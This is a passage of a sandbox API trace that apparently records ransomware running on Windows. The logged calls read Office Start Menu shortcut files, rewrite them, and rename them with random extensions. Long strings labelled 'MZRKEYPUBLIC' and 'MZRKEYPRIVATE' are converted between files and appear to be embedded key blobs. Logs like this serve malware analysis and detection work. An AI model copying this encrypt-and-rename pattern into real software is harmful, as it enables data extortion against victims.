lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0133.774] GetCurrentThreadId () returned 0xa30 [0133.774] GetCurrentThreadId () returned 0xa30 [0133.774] GetCurrentThreadId () returned 0xa30 [0133.775] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Filler 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft infopath filler 2010.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.775] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0133.775] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.775] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0xbd2 [0133.775] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.775] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0xbd2, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0xbd2, lpOverlapped=0x0) returned 1 [0133.783] CloseHandle (hObject=0x1e8) returned 1 [0133.783] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Filler 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft infopath filler 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.786] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0xbd2, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0xbd2, lpOverlapped=0x0) returned 1 [0133.788] CloseHandle (hObject=0x1e8) returned 1 [0133.788] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Filler 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft infopath filler 2010.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Filler 2010.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft infopath filler 2010.lnk.zv7un")) returned 1 [0133.790] GetCurrentThreadId () returned 0xa30 [0133.790] GetCurrentThreadId () returned 0xa30 [0133.790] GetCurrentThreadId () returned 0xa30 [0133.790] GetCurrentThreadId () returned 0xa30 [0133.790] GetCurrentThreadId () returned 0xa30 [0133.790] GetCurrentThreadId () returned 0xa30 [0133.790] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Office 2010 Tools", cAlternateFileName="MICROS~1")) returned 1 [0133.790] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb3f, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft OneNote 2010.lnk", cAlternateFileName="MI807F~1.LNK")) returned 1 [0133.790] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.790] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.790] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft OneNote 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft onenote 2010.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xb3f)) returned 1 [0133.791] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft OneNote 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft onenote 2010.lnk")) returned 0x20 [0133.791] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft OneNote 2010.lnk", dwFileAttributes=0x80) returned 1 [0133.793] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0133.793] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0133.794] GetCurrentThreadId () returned 0xa30 [0133.794] GetCurrentThreadId () returned 0xa30 [0133.794] GetCurrentThreadId () returned 0xa30 [0133.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0133.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0133.795] GetCurrentThreadId () returned 0xa30 [0133.795] GetCurrentThreadId () returned 0xa30 [0133.795] GetCurrentThreadId () returned 0xa30 [0133.795] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft OneNote 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft onenote 2010.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.796] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0133.796] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.796] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0xb3f [0133.796] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.796] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0xb3f, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f3d4*=0xb3f, lpOverlapped=0x0) returned 1 [0133.803] CloseHandle (hObject=0x1e8) returned 1 [0133.804] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft OneNote 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft onenote 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.806] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0xb3f, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f3e0*=0xb3f, lpOverlapped=0x0) returned 1 [0133.808] CloseHandle (hObject=0x1e8) returned 1 [0133.808] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft OneNote 2010.lnk" 